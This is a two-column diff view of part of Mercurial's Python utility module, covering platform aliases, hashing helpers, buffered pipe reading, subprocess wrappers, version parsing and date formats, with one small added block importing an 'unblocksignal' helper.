90 # destined stdout with a pipe destined stdout (e.g. pager), we want line
91 # buffering
91 # buffering
92 if isatty(stdout):
92 if isatty(stdout):
93 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
93 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
94
94
95 if pycompat.iswindows:
95 if pycompat.iswindows:
96 from . import windows as platform
96 from . import windows as platform
97 stdout = platform.winstdout(stdout)
97 stdout = platform.winstdout(stdout)
98 else:
98 else:
99 from . import posix as platform
99 from . import posix as platform
100
100
101 _ = i18n._
101 _ = i18n._
102
102
103 bindunixsocket = platform.bindunixsocket
103 bindunixsocket = platform.bindunixsocket
104 cachestat = platform.cachestat
104 cachestat = platform.cachestat
105 checkexec = platform.checkexec
105 checkexec = platform.checkexec
106 checklink = platform.checklink
106 checklink = platform.checklink
107 copymode = platform.copymode
107 copymode = platform.copymode
108 executablepath = platform.executablepath
108 executablepath = platform.executablepath
109 expandglobs = platform.expandglobs
109 expandglobs = platform.expandglobs
110 explainexit = platform.explainexit
110 explainexit = platform.explainexit
111 findexe = platform.findexe
111 findexe = platform.findexe
112 gethgcmd = platform.gethgcmd
112 gethgcmd = platform.gethgcmd
113 getuser = platform.getuser
113 getuser = platform.getuser
114 getpid = os.getpid
114 getpid = os.getpid
115 groupmembers = platform.groupmembers
115 groupmembers = platform.groupmembers
116 groupname = platform.groupname
116 groupname = platform.groupname
117 hidewindow = platform.hidewindow
117 hidewindow = platform.hidewindow
118 isexec = platform.isexec
118 isexec = platform.isexec
119 isowner = platform.isowner
119 isowner = platform.isowner
120 listdir = osutil.listdir
120 listdir = osutil.listdir
121 localpath = platform.localpath
121 localpath = platform.localpath
122 lookupreg = platform.lookupreg
122 lookupreg = platform.lookupreg
123 makedir = platform.makedir
123 makedir = platform.makedir
124 nlinks = platform.nlinks
124 nlinks = platform.nlinks
125 normpath = platform.normpath
125 normpath = platform.normpath
126 normcase = platform.normcase
126 normcase = platform.normcase
127 normcasespec = platform.normcasespec
127 normcasespec = platform.normcasespec
128 normcasefallback = platform.normcasefallback
128 normcasefallback = platform.normcasefallback
129 openhardlinks = platform.openhardlinks
129 openhardlinks = platform.openhardlinks
130 oslink = platform.oslink
130 oslink = platform.oslink
131 parsepatchoutput = platform.parsepatchoutput
131 parsepatchoutput = platform.parsepatchoutput
132 pconvert = platform.pconvert
132 pconvert = platform.pconvert
133 poll = platform.poll
133 poll = platform.poll
134 popen = platform.popen
134 popen = platform.popen
135 posixfile = platform.posixfile
135 posixfile = platform.posixfile
136 quotecommand = platform.quotecommand
136 quotecommand = platform.quotecommand
137 readpipe = platform.readpipe
137 readpipe = platform.readpipe
138 rename = platform.rename
138 rename = platform.rename
139 removedirs = platform.removedirs
139 removedirs = platform.removedirs
140 samedevice = platform.samedevice
140 samedevice = platform.samedevice
141 samefile = platform.samefile
141 samefile = platform.samefile
142 samestat = platform.samestat
142 samestat = platform.samestat
143 setbinary = platform.setbinary
143 setbinary = platform.setbinary
144 setflags = platform.setflags
144 setflags = platform.setflags
145 setsignalhandler = platform.setsignalhandler
145 setsignalhandler = platform.setsignalhandler
146 shellquote = platform.shellquote
146 shellquote = platform.shellquote
147 spawndetached = platform.spawndetached
147 spawndetached = platform.spawndetached
148 split = platform.split
148 split = platform.split
149 sshargs = platform.sshargs
149 sshargs = platform.sshargs
150 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
150 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
151 statisexec = platform.statisexec
151 statisexec = platform.statisexec
152 statislink = platform.statislink
152 statislink = platform.statislink
153 testpid = platform.testpid
153 testpid = platform.testpid
154 umask = platform.umask
154 umask = platform.umask
155 unlink = platform.unlink
155 unlink = platform.unlink
156 username = platform.username
156 username = platform.username
157
157
158 try:
158 try:
159 recvfds = osutil.recvfds
159 recvfds = osutil.recvfds
160 except AttributeError:
160 except AttributeError:
161 pass
161 pass
162 try:
162 try:
163 setprocname = osutil.setprocname
163 setprocname = osutil.setprocname
164 except AttributeError:
164 except AttributeError:
165 pass
165 pass
166 try:
167 unblocksignal = osutil.unblocksignal
168 except AttributeError:
169 pass
166
170
167 # Python compatibility
171 # Python compatibility
168
172
169 _notset = object()
173 _notset = object()
170
174
171 # disable Python's problematic floating point timestamps (issue4836)
175 # disable Python's problematic floating point timestamps (issue4836)
172 # (Python hypocritically says you shouldn't change this behavior in
176 # (Python hypocritically says you shouldn't change this behavior in
173 # libraries, and sure enough Mercurial is not a library.)
177 # libraries, and sure enough Mercurial is not a library.)
174 os.stat_float_times(False)
178 os.stat_float_times(False)
175
179
176 def safehasattr(thing, attr):
180 def safehasattr(thing, attr):
177 return getattr(thing, attr, _notset) is not _notset
181 return getattr(thing, attr, _notset) is not _notset
178
182
179 def bytesinput(fin, fout, *args, **kwargs):
183 def bytesinput(fin, fout, *args, **kwargs):
180 sin, sout = sys.stdin, sys.stdout
184 sin, sout = sys.stdin, sys.stdout
181 try:
185 try:
182 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
186 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
183 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
187 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
184 finally:
188 finally:
185 sys.stdin, sys.stdout = sin, sout
189 sys.stdin, sys.stdout = sin, sout
186
190
187 def bitsfrom(container):
191 def bitsfrom(container):
188 bits = 0
192 bits = 0
189 for bit in container:
193 for bit in container:
190 bits |= bit
194 bits |= bit
191 return bits
195 return bits
192
196
193 # python 2.6 still have deprecation warning enabled by default. We do not want
197 # python 2.6 still have deprecation warning enabled by default. We do not want
194 # to display anything to standard user so detect if we are running test and
198 # to display anything to standard user so detect if we are running test and
195 # only use python deprecation warning in this case.
199 # only use python deprecation warning in this case.
196 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
200 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
197 if _dowarn:
201 if _dowarn:
198 # explicitly unfilter our warning for python 2.7
202 # explicitly unfilter our warning for python 2.7
199 #
203 #
200 # The option of setting PYTHONWARNINGS in the test runner was investigated.
204 # The option of setting PYTHONWARNINGS in the test runner was investigated.
201 # However, module name set through PYTHONWARNINGS was exactly matched, so
205 # However, module name set through PYTHONWARNINGS was exactly matched, so
202 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
206 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
203 # makes the whole PYTHONWARNINGS thing useless for our usecase.
207 # makes the whole PYTHONWARNINGS thing useless for our usecase.
204 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
208 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
205 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
209 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
206 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
210 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
207
211
208 def nouideprecwarn(msg, version, stacklevel=1):
212 def nouideprecwarn(msg, version, stacklevel=1):
209 """Issue an python native deprecation warning
213 """Issue an python native deprecation warning
210
214
211 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
215 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
212 """
216 """
213 if _dowarn:
217 if _dowarn:
214 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
218 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
215 " update your code.)") % version
219 " update your code.)") % version
216 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
220 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
217
221
218 DIGESTS = {
222 DIGESTS = {
219 'md5': hashlib.md5,
223 'md5': hashlib.md5,
220 'sha1': hashlib.sha1,
224 'sha1': hashlib.sha1,
221 'sha512': hashlib.sha512,
225 'sha512': hashlib.sha512,
222 }
226 }
223 # List of digest types from strongest to weakest
227 # List of digest types from strongest to weakest
224 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
228 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
225
229
226 for k in DIGESTS_BY_STRENGTH:
230 for k in DIGESTS_BY_STRENGTH:
227 assert k in DIGESTS
231 assert k in DIGESTS
228
232
229 class digester(object):
233 class digester(object):
230 """helper to compute digests.
234 """helper to compute digests.
231
235
232 This helper can be used to compute one or more digests given their name.
236 This helper can be used to compute one or more digests given their name.
233
237
234 >>> d = digester([b'md5', b'sha1'])
238 >>> d = digester([b'md5', b'sha1'])
235 >>> d.update(b'foo')
239 >>> d.update(b'foo')
236 >>> [k for k in sorted(d)]
240 >>> [k for k in sorted(d)]
237 ['md5', 'sha1']
241 ['md5', 'sha1']
238 >>> d[b'md5']
242 >>> d[b'md5']
239 'acbd18db4cc2f85cedef654fccc4a4d8'
243 'acbd18db4cc2f85cedef654fccc4a4d8'
240 >>> d[b'sha1']
244 >>> d[b'sha1']
241 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
245 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
242 >>> digester.preferred([b'md5', b'sha1'])
246 >>> digester.preferred([b'md5', b'sha1'])
243 'sha1'
247 'sha1'
244 """
248 """
245
249
246 def __init__(self, digests, s=''):
250 def __init__(self, digests, s=''):
247 self._hashes = {}
251 self._hashes = {}
248 for k in digests:
252 for k in digests:
249 if k not in DIGESTS:
253 if k not in DIGESTS:
250 raise Abort(_('unknown digest type: %s') % k)
254 raise Abort(_('unknown digest type: %s') % k)
251 self._hashes[k] = DIGESTS[k]()
255 self._hashes[k] = DIGESTS[k]()
252 if s:
256 if s:
253 self.update(s)
257 self.update(s)
254
258
255 def update(self, data):
259 def update(self, data):
256 for h in self._hashes.values():
260 for h in self._hashes.values():
257 h.update(data)
261 h.update(data)
258
262
259 def __getitem__(self, key):
263 def __getitem__(self, key):
260 if key not in DIGESTS:
264 if key not in DIGESTS:
261 raise Abort(_('unknown digest type: %s') % k)
265 raise Abort(_('unknown digest type: %s') % k)
262 return self._hashes[key].hexdigest()
266 return self._hashes[key].hexdigest()
263
267
264 def __iter__(self):
268 def __iter__(self):
265 return iter(self._hashes)
269 return iter(self._hashes)
266
270
267 @staticmethod
271 @staticmethod
268 def preferred(supported):
272 def preferred(supported):
269 """returns the strongest digest type in both supported and DIGESTS."""
273 """returns the strongest digest type in both supported and DIGESTS."""
270
274
271 for k in DIGESTS_BY_STRENGTH:
275 for k in DIGESTS_BY_STRENGTH:
272 if k in supported:
276 if k in supported:
273 return k
277 return k
274 return None
278 return None
275
279
276 class digestchecker(object):
280 class digestchecker(object):
277 """file handle wrapper that additionally checks content against a given
281 """file handle wrapper that additionally checks content against a given
278 size and digests.
282 size and digests.
279
283
280 d = digestchecker(fh, size, {'md5': '...'})
284 d = digestchecker(fh, size, {'md5': '...'})
281
285
282 When multiple digests are given, all of them are validated.
286 When multiple digests are given, all of them are validated.
283 """
287 """
284
288
285 def __init__(self, fh, size, digests):
289 def __init__(self, fh, size, digests):
286 self._fh = fh
290 self._fh = fh
287 self._size = size
291 self._size = size
288 self._got = 0
292 self._got = 0
289 self._digests = dict(digests)
293 self._digests = dict(digests)
290 self._digester = digester(self._digests.keys())
294 self._digester = digester(self._digests.keys())
291
295
292 def read(self, length=-1):
296 def read(self, length=-1):
293 content = self._fh.read(length)
297 content = self._fh.read(length)
294 self._digester.update(content)
298 self._digester.update(content)
295 self._got += len(content)
299 self._got += len(content)
296 return content
300 return content
297
301
298 def validate(self):
302 def validate(self):
299 if self._size != self._got:
303 if self._size != self._got:
300 raise Abort(_('size mismatch: expected %d, got %d') %
304 raise Abort(_('size mismatch: expected %d, got %d') %
301 (self._size, self._got))
305 (self._size, self._got))
302 for k, v in self._digests.items():
306 for k, v in self._digests.items():
303 if v != self._digester[k]:
307 if v != self._digester[k]:
304 # i18n: first parameter is a digest name
308 # i18n: first parameter is a digest name
305 raise Abort(_('%s mismatch: expected %s, got %s') %
309 raise Abort(_('%s mismatch: expected %s, got %s') %
306 (k, v, self._digester[k]))
310 (k, v, self._digester[k]))
307
311
308 try:
312 try:
309 buffer = buffer
313 buffer = buffer
310 except NameError:
314 except NameError:
311 def buffer(sliceable, offset=0, length=None):
315 def buffer(sliceable, offset=0, length=None):
312 if length is not None:
316 if length is not None:
313 return memoryview(sliceable)[offset:offset + length]
317 return memoryview(sliceable)[offset:offset + length]
314 return memoryview(sliceable)[offset:]
318 return memoryview(sliceable)[offset:]
315
319
316 closefds = pycompat.isposix
320 closefds = pycompat.isposix
317
321
318 _chunksize = 4096
322 _chunksize = 4096
319
323
320 class bufferedinputpipe(object):
324 class bufferedinputpipe(object):
321 """a manually buffered input pipe
325 """a manually buffered input pipe
322
326
323 Python will not let us use buffered IO and lazy reading with 'polling' at
327 Python will not let us use buffered IO and lazy reading with 'polling' at
324 the same time. We cannot probe the buffer state and select will not detect
328 the same time. We cannot probe the buffer state and select will not detect
325 that data are ready to read if they are already buffered.
329 that data are ready to read if they are already buffered.
326
330
327 This class let us work around that by implementing its own buffering
331 This class let us work around that by implementing its own buffering
328 (allowing efficient readline) while offering a way to know if the buffer is
332 (allowing efficient readline) while offering a way to know if the buffer is
329 empty from the output (allowing collaboration of the buffer with polling).
333 empty from the output (allowing collaboration of the buffer with polling).
330
334
331 This class lives in the 'util' module because it makes use of the 'os'
335 This class lives in the 'util' module because it makes use of the 'os'
332 module from the python stdlib.
336 module from the python stdlib.
333 """
337 """
334
338
335 def __init__(self, input):
339 def __init__(self, input):
336 self._input = input
340 self._input = input
337 self._buffer = []
341 self._buffer = []
338 self._eof = False
342 self._eof = False
339 self._lenbuf = 0
343 self._lenbuf = 0
340
344
341 @property
345 @property
342 def hasbuffer(self):
346 def hasbuffer(self):
343 """True is any data is currently buffered
347 """True is any data is currently buffered
344
348
345 This will be used externally a pre-step for polling IO. If there is
349 This will be used externally a pre-step for polling IO. If there is
346 already data then no polling should be set in place."""
350 already data then no polling should be set in place."""
347 return bool(self._buffer)
351 return bool(self._buffer)
348
352
349 @property
353 @property
350 def closed(self):
354 def closed(self):
351 return self._input.closed
355 return self._input.closed
352
356
353 def fileno(self):
357 def fileno(self):
354 return self._input.fileno()
358 return self._input.fileno()
355
359
356 def close(self):
360 def close(self):
357 return self._input.close()
361 return self._input.close()
358
362
359 def read(self, size):
363 def read(self, size):
360 while (not self._eof) and (self._lenbuf < size):
364 while (not self._eof) and (self._lenbuf < size):
361 self._fillbuffer()
365 self._fillbuffer()
362 return self._frombuffer(size)
366 return self._frombuffer(size)
363
367
364 def readline(self, *args, **kwargs):
368 def readline(self, *args, **kwargs):
365 if 1 < len(self._buffer):
369 if 1 < len(self._buffer):
366 # this should not happen because both read and readline end with a
370 # this should not happen because both read and readline end with a
367 # _frombuffer call that collapse it.
371 # _frombuffer call that collapse it.
368 self._buffer = [''.join(self._buffer)]
372 self._buffer = [''.join(self._buffer)]
369 self._lenbuf = len(self._buffer[0])
373 self._lenbuf = len(self._buffer[0])
370 lfi = -1
374 lfi = -1
371 if self._buffer:
375 if self._buffer:
372 lfi = self._buffer[-1].find('\n')
376 lfi = self._buffer[-1].find('\n')
373 while (not self._eof) and lfi < 0:
377 while (not self._eof) and lfi < 0:
374 self._fillbuffer()
378 self._fillbuffer()
375 if self._buffer:
379 if self._buffer:
376 lfi = self._buffer[-1].find('\n')
380 lfi = self._buffer[-1].find('\n')
377 size = lfi + 1
381 size = lfi + 1
378 if lfi < 0: # end of file
382 if lfi < 0: # end of file
379 size = self._lenbuf
383 size = self._lenbuf
380 elif 1 < len(self._buffer):
384 elif 1 < len(self._buffer):
381 # we need to take previous chunks into account
385 # we need to take previous chunks into account
382 size += self._lenbuf - len(self._buffer[-1])
386 size += self._lenbuf - len(self._buffer[-1])
383 return self._frombuffer(size)
387 return self._frombuffer(size)
384
388
385 def _frombuffer(self, size):
389 def _frombuffer(self, size):
386 """return at most 'size' data from the buffer
390 """return at most 'size' data from the buffer
387
391
388 The data are removed from the buffer."""
392 The data are removed from the buffer."""
389 if size == 0 or not self._buffer:
393 if size == 0 or not self._buffer:
390 return ''
394 return ''
391 buf = self._buffer[0]
395 buf = self._buffer[0]
392 if 1 < len(self._buffer):
396 if 1 < len(self._buffer):
393 buf = ''.join(self._buffer)
397 buf = ''.join(self._buffer)
394
398
395 data = buf[:size]
399 data = buf[:size]
396 buf = buf[len(data):]
400 buf = buf[len(data):]
397 if buf:
401 if buf:
398 self._buffer = [buf]
402 self._buffer = [buf]
399 self._lenbuf = len(buf)
403 self._lenbuf = len(buf)
400 else:
404 else:
401 self._buffer = []
405 self._buffer = []
402 self._lenbuf = 0
406 self._lenbuf = 0
403 return data
407 return data
404
408
405 def _fillbuffer(self):
409 def _fillbuffer(self):
406 """read data to the buffer"""
410 """read data to the buffer"""
407 data = os.read(self._input.fileno(), _chunksize)
411 data = os.read(self._input.fileno(), _chunksize)
408 if not data:
412 if not data:
409 self._eof = True
413 self._eof = True
410 else:
414 else:
411 self._lenbuf += len(data)
415 self._lenbuf += len(data)
412 self._buffer.append(data)
416 self._buffer.append(data)
413
417
414 def mmapread(fp):
418 def mmapread(fp):
415 try:
419 try:
416 fd = getattr(fp, 'fileno', lambda: fp)()
420 fd = getattr(fp, 'fileno', lambda: fp)()
417 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
418 except ValueError:
422 except ValueError:
419 # Empty files cannot be mmapped, but mmapread should still work. Check
423 # Empty files cannot be mmapped, but mmapread should still work. Check
420 # if the file is empty, and if so, return an empty buffer.
424 # if the file is empty, and if so, return an empty buffer.
421 if os.fstat(fd).st_size == 0:
425 if os.fstat(fd).st_size == 0:
422 return ''
426 return ''
423 raise
427 raise
424
428
425 def popen2(cmd, env=None, newlines=False):
429 def popen2(cmd, env=None, newlines=False):
426 # Setting bufsize to -1 lets the system decide the buffer size.
430 # Setting bufsize to -1 lets the system decide the buffer size.
427 # The default for bufsize is 0, meaning unbuffered. This leads to
431 # The default for bufsize is 0, meaning unbuffered. This leads to
428 # poor performance on Mac OS X: http://bugs.python.org/issue4194
432 # poor performance on Mac OS X: http://bugs.python.org/issue4194
429 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
433 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
430 close_fds=closefds,
434 close_fds=closefds,
431 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
435 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
432 universal_newlines=newlines,
436 universal_newlines=newlines,
433 env=env)
437 env=env)
434 return p.stdin, p.stdout
438 return p.stdin, p.stdout
435
439
436 def popen3(cmd, env=None, newlines=False):
440 def popen3(cmd, env=None, newlines=False):
437 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
441 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
438 return stdin, stdout, stderr
442 return stdin, stdout, stderr
439
443
440 def popen4(cmd, env=None, newlines=False, bufsize=-1):
444 def popen4(cmd, env=None, newlines=False, bufsize=-1):
441 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
445 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
442 close_fds=closefds,
446 close_fds=closefds,
443 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
447 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
444 stderr=subprocess.PIPE,
448 stderr=subprocess.PIPE,
445 universal_newlines=newlines,
449 universal_newlines=newlines,
446 env=env)
450 env=env)
447 return p.stdin, p.stdout, p.stderr, p
451 return p.stdin, p.stdout, p.stderr, p
448
452
449 def version():
453 def version():
450 """Return version information if available."""
454 """Return version information if available."""
451 try:
455 try:
452 from . import __version__
456 from . import __version__
453 return __version__.version
457 return __version__.version
454 except ImportError:
458 except ImportError:
455 return 'unknown'
459 return 'unknown'
456
460
457 def versiontuple(v=None, n=4):
461 def versiontuple(v=None, n=4):
458 """Parses a Mercurial version string into an N-tuple.
462 """Parses a Mercurial version string into an N-tuple.
459
463
460 The version string to be parsed is specified with the ``v`` argument.
464 The version string to be parsed is specified with the ``v`` argument.
461 If it isn't defined, the current Mercurial version string will be parsed.
465 If it isn't defined, the current Mercurial version string will be parsed.
462
466
463 ``n`` can be 2, 3, or 4. Here is how some version strings map to
467 ``n`` can be 2, 3, or 4. Here is how some version strings map to
464 returned values:
468 returned values:
465
469
466 >>> v = b'3.6.1+190-df9b73d2d444'
470 >>> v = b'3.6.1+190-df9b73d2d444'
467 >>> versiontuple(v, 2)
471 >>> versiontuple(v, 2)
468 (3, 6)
472 (3, 6)
469 >>> versiontuple(v, 3)
473 >>> versiontuple(v, 3)
470 (3, 6, 1)
474 (3, 6, 1)
471 >>> versiontuple(v, 4)
475 >>> versiontuple(v, 4)
472 (3, 6, 1, '190-df9b73d2d444')
476 (3, 6, 1, '190-df9b73d2d444')
473
477
474 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
478 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
475 (3, 6, 1, '190-df9b73d2d444+20151118')
479 (3, 6, 1, '190-df9b73d2d444+20151118')
476
480
477 >>> v = b'3.6'
481 >>> v = b'3.6'
478 >>> versiontuple(v, 2)
482 >>> versiontuple(v, 2)
479 (3, 6)
483 (3, 6)
480 >>> versiontuple(v, 3)
484 >>> versiontuple(v, 3)
481 (3, 6, None)
485 (3, 6, None)
482 >>> versiontuple(v, 4)
486 >>> versiontuple(v, 4)
483 (3, 6, None, None)
487 (3, 6, None, None)
484
488
485 >>> v = b'3.9-rc'
489 >>> v = b'3.9-rc'
486 >>> versiontuple(v, 2)
490 >>> versiontuple(v, 2)
487 (3, 9)
491 (3, 9)
488 >>> versiontuple(v, 3)
492 >>> versiontuple(v, 3)
489 (3, 9, None)
493 (3, 9, None)
490 >>> versiontuple(v, 4)
494 >>> versiontuple(v, 4)
491 (3, 9, None, 'rc')
495 (3, 9, None, 'rc')
492
496
493 >>> v = b'3.9-rc+2-02a8fea4289b'
497 >>> v = b'3.9-rc+2-02a8fea4289b'
494 >>> versiontuple(v, 2)
498 >>> versiontuple(v, 2)
495 (3, 9)
499 (3, 9)
496 >>> versiontuple(v, 3)
500 >>> versiontuple(v, 3)
497 (3, 9, None)
501 (3, 9, None)
498 >>> versiontuple(v, 4)
502 >>> versiontuple(v, 4)
499 (3, 9, None, 'rc+2-02a8fea4289b')
503 (3, 9, None, 'rc+2-02a8fea4289b')
500 """
504 """
501 if not v:
505 if not v:
502 v = version()
506 v = version()
503 parts = remod.split('[\+-]', v, 1)
507 parts = remod.split('[\+-]', v, 1)
504 if len(parts) == 1:
508 if len(parts) == 1:
505 vparts, extra = parts[0], None
509 vparts, extra = parts[0], None
506 else:
510 else:
507 vparts, extra = parts
511 vparts, extra = parts
508
512
509 vints = []
513 vints = []
510 for i in vparts.split('.'):
514 for i in vparts.split('.'):
511 try:
515 try:
512 vints.append(int(i))
516 vints.append(int(i))
513 except ValueError:
517 except ValueError:
514 break
518 break
515 # (3, 6) -> (3, 6, None)
519 # (3, 6) -> (3, 6, None)
516 while len(vints) < 3:
520 while len(vints) < 3:
517 vints.append(None)
521 vints.append(None)
518
522
519 if n == 2:
523 if n == 2:
520 return (vints[0], vints[1])
524 return (vints[0], vints[1])
521 if n == 3:
525 if n == 3:
522 return (vints[0], vints[1], vints[2])
526 return (vints[0], vints[1], vints[2])
523 if n == 4:
527 if n == 4:
524 return (vints[0], vints[1], vints[2], extra)
528 return (vints[0], vints[1], vints[2], extra)
525
529
526 # used by parsedate
530 # used by parsedate
527 defaultdateformats = (
531 defaultdateformats = (
528 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
532 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
529 '%Y-%m-%dT%H:%M', # without seconds
533 '%Y-%m-%dT%H:%M', # without seconds
530 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
534 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
531 '%Y-%m-%dT%H%M', # without seconds
535 '%Y-%m-%dT%H%M', # without seconds
532 '%Y-%m-%d %H:%M:%S', # our common legal variant
536 '%Y-%m-%d %H:%M:%S', # our common legal variant
533 '%Y-%m-%d %H:%M', # without seconds
537 '%Y-%m-%d %H:%M', # without seconds
534 '%Y-%m-%d %H%M%S', # without :
538 '%Y-%m-%d %H%M%S', # without :
535 '%Y-%m-%d %H%M', # without seconds
539 '%Y-%m-%d %H%M', # without seconds
536 '%Y-%m-%d %I:%M:%S%p',
540 '%Y-%m-%d %I:%M:%S%p',
537 '%Y-%m-%d %H:%M',
541 '%Y-%m-%d %H:%M',
538 '%Y-%m-%d %I:%M%p',
542 '%Y-%m-%d %I:%M%p',
539 '%Y-%m-%d',
543 '%Y-%m-%d',
540 '%m-%d',
544 '%m-%d',
541 '%m/%d',
545 '%m/%d',
542 '%m/%d/%y',
546 '%m/%d/%y',
543 '%m/%d/%Y',
547 '%m/%d/%Y',
544 '%a %b %d %H:%M:%S %Y',
548 '%a %b %d %H:%M:%S %Y',
545 '%a %b %d %I:%M:%S%p %Y',
549 '%a %b %d %I:%M:%S%p %Y',
546 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
550 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
547 '%b %d %H:%M:%S %Y',
551 '%b %d %H:%M:%S %Y',
548 '%b %d %I:%M:%S%p %Y',
552 '%b %d %I:%M:%S%p %Y',
549 '%b %d %H:%M:%S',
553 '%b %d %H:%M:%S',
550 '%b %d %I:%M:%S%p',
554 '%b %d %I:%M:%S%p',
551 '%b %d %H:%M',
555 '%b %d %H:%M',
552 '%b %d %I:%M%p',
556 '%b %d %I:%M%p',
553 '%b %d %Y',
557 '%b %d %Y',
554 '%b %d',
558 '%b %d',
555 '%H:%M:%S',
559 '%H:%M:%S',
556 '%I:%M:%S%p',
560 '%I:%M:%S%p',
557 '%H:%M',
561 '%H:%M',
558 '%I:%M%p',
562 '%I:%M%p',
559 )
563 )
560
564
561 extendeddateformats = defaultdateformats + (
565 extendeddateformats = defaultdateformats + (
562 "%Y",
566 "%Y",
563 "%Y-%m",
567 "%Y-%m",
564 "%b",
568 "%b",
565 "%b %Y",
569 "%b %Y",
566 )
570 )
567
571
568 def cachefunc(func):
572 def cachefunc(func):
569 '''cache the result of function calls'''
573 '''cache the result of function calls'''
570 # XXX doesn't handle keywords args
574 # XXX doesn't handle keywords args
571 if func.__code__.co_argcount == 0:
575 if func.__code__.co_argcount == 0:
572 cache = []
576 cache = []
573 def f():
577 def f():
574 if len(cache) == 0:
578 if len(cache) == 0:
575 cache.append(func())
579 cache.append(func())
576 return cache[0]
580 return cache[0]
577 return f
581 return f
578 cache = {}
582 cache = {}
579 if func.__code__.co_argcount == 1:
583 if func.__code__.co_argcount == 1:
580 # we gain a small amount of time because
584 # we gain a small amount of time because
581 # we don't need to pack/unpack the list
585 # we don't need to pack/unpack the list
582 def f(arg):
586 def f(arg):
583 if arg not in cache:
587 if arg not in cache:
584 cache[arg] = func(arg)
588 cache[arg] = func(arg)
585 return cache[arg]
589 return cache[arg]
586 else:
590 else:
587 def f(*args):
591 def f(*args):
588 if args not in cache:
592 if args not in cache:
589 cache[args] = func(*args)
593 cache[args] = func(*args)
590 return cache[args]
594 return cache[args]
591
595
592 return f
596 return f
593
597
594 class cow(object):
598 class cow(object):
595 """helper class to make copy-on-write easier
599 """helper class to make copy-on-write easier
596
600
597 Call preparewrite before doing any writes.
601 Call preparewrite before doing any writes.
598 """
602 """
599
603
600 def preparewrite(self):
604 def preparewrite(self):
601 """call this before writes, return self or a copied new object"""
605 """call this before writes, return self or a copied new object"""
602 if getattr(self, '_copied', 0):
606 if getattr(self, '_copied', 0):
603 self._copied -= 1
607 self._copied -= 1
604 return self.__class__(self)
608 return self.__class__(self)
605 return self
609 return self
606
610
607 def copy(self):
611 def copy(self):
608 """always do a cheap copy"""
612 """always do a cheap copy"""
609 self._copied = getattr(self, '_copied', 0) + 1
613 self._copied = getattr(self, '_copied', 0) + 1
610 return self
614 return self
611
615
612 class sortdict(collections.OrderedDict):
616 class sortdict(collections.OrderedDict):
613 '''a simple sorted dictionary
617 '''a simple sorted dictionary
614
618
615 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
619 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
616 >>> d2 = d1.copy()
620 >>> d2 = d1.copy()
617 >>> d2
621 >>> d2
618 sortdict([('a', 0), ('b', 1)])
622 sortdict([('a', 0), ('b', 1)])
619 >>> d2.update([(b'a', 2)])
623 >>> d2.update([(b'a', 2)])
620 >>> list(d2.keys()) # should still be in last-set order
624 >>> list(d2.keys()) # should still be in last-set order
621 ['b', 'a']
625 ['b', 'a']
622 '''
626 '''
623
627
624 def __setitem__(self, key, value):
628 def __setitem__(self, key, value):
625 if key in self:
629 if key in self:
626 del self[key]
630 del self[key]
627 super(sortdict, self).__setitem__(key, value)
631 super(sortdict, self).__setitem__(key, value)
628
632
629 if pycompat.ispypy:
633 if pycompat.ispypy:
630 # __setitem__() isn't called as of PyPy 5.8.0
634 # __setitem__() isn't called as of PyPy 5.8.0
631 def update(self, src):
635 def update(self, src):
632 if isinstance(src, dict):
636 if isinstance(src, dict):
633 src = src.iteritems()
637 src = src.iteritems()
634 for k, v in src:
638 for k, v in src:
635 self[k] = v
639 self[k] = v
636
640
637 class cowdict(cow, dict):
641 class cowdict(cow, dict):
638 """copy-on-write dict
642 """copy-on-write dict
639
643
640 Be sure to call d = d.preparewrite() before writing to d.
644 Be sure to call d = d.preparewrite() before writing to d.
641
645
